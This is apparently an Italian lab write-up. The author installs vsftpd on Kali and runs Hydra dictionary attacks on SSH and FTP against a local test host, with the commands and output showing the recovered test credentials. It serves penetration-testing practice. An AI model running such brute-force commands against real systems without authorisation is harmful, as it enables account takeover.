

(servizio vsftpd installato su Kali)

```

(dan@Kali)-[~]
$ sudo apt install vsftpd
[sudo] password for dan:
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following NEW packages will be installed:
  vsftpd
0 upgraded, 1 newly installed, 0 to remove and 815 not upgraded.
Need to get 142 kB of archives.
After this operation, 351 kB of additional disk space will be used.
Get:1 http://http.kali.org/kali kali-rolling/main amd64 vsftpd amd64 3.0.3-13+b2 [142 kB]
Fetched 142 kB in 1s (176 kB/s)
Preconfiguring packages ...
Selecting previously unselected package vsftpd.
(Reading database ... 399868 files and directories currently installed.)
Preparing to unpack .../vsftpd_3.0.3-13+b2_amd64.deb ...
Unpacking vsftpd (3.0.3-13+b2) ...
Setting up vsftpd (3.0.3-13+b2) ...
update-rc.d: We have no instructions for the vsftpd init script.
update-rc.d: It looks like a network service, we disable it.
Processing triggers for man-db (2.11.2-3) ...
Processing triggers for kali-menu (2023.4.3) ...
```

# Crack delle credenziali "test\_user" da Kali a Kali, tramite servizio SSH

```
(dan@Kali)-[~]
$ hydra -L ~/Desktop/repo/user.txt -P ~/Desktop/repo/pass.txt 192.168.1.9 -t4 -v ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-11-03 14:43:49
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
-I
[DATA] max 4 tasks per 1 server, overall 4 tasks, 20 login tries (l:4/p:5), ~5 tries per task
[DATA] attacking ssh://192.168.1.9:22/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[INFO] Testing if password authentication is supported by ssh://12345@192.168.1.9:22
[INFO] Successful, password authentication is supported by ssh://192.168.1.9:22
[22][ssh] host: 192.168.1.9 login: test_user password: testpass
[STATUS] attack finished for 192.168.1.9 (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-11-03 14:44:14
```

Qui invece tramite servizio FTP (dopo averlo correttamente installato).

In entrambi i casi, ho utilizzato i valori "-L" e "-P" per prendere delle liste nel quale ci fossero incluse le credenziali corrette (attacco a dizionario).

Hydra può anche testare degli attacchi a credenziali singole, utilizzando "-l, -p" in minuscolo.

```
(dan@Kali)-[~]
$ hydra -L ~/Desktop/repo/user.txt -P ~/Desktop/repo/pass.txt 192.168.1.9 -t4 -v ftp
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-11-03 14:52:24
[DATA] max 4 tasks per 1 server, overall 4 tasks, 20 login tries (l:4/p:5), ~5 tries per task
[DATA] attacking ftp://192.168.1.9:21/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[21][ftp] host: 192.168.1.9 login: test_user password: testpass
[STATUS] attack finished for 192.168.1.9 (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-11-03 14:52:41
```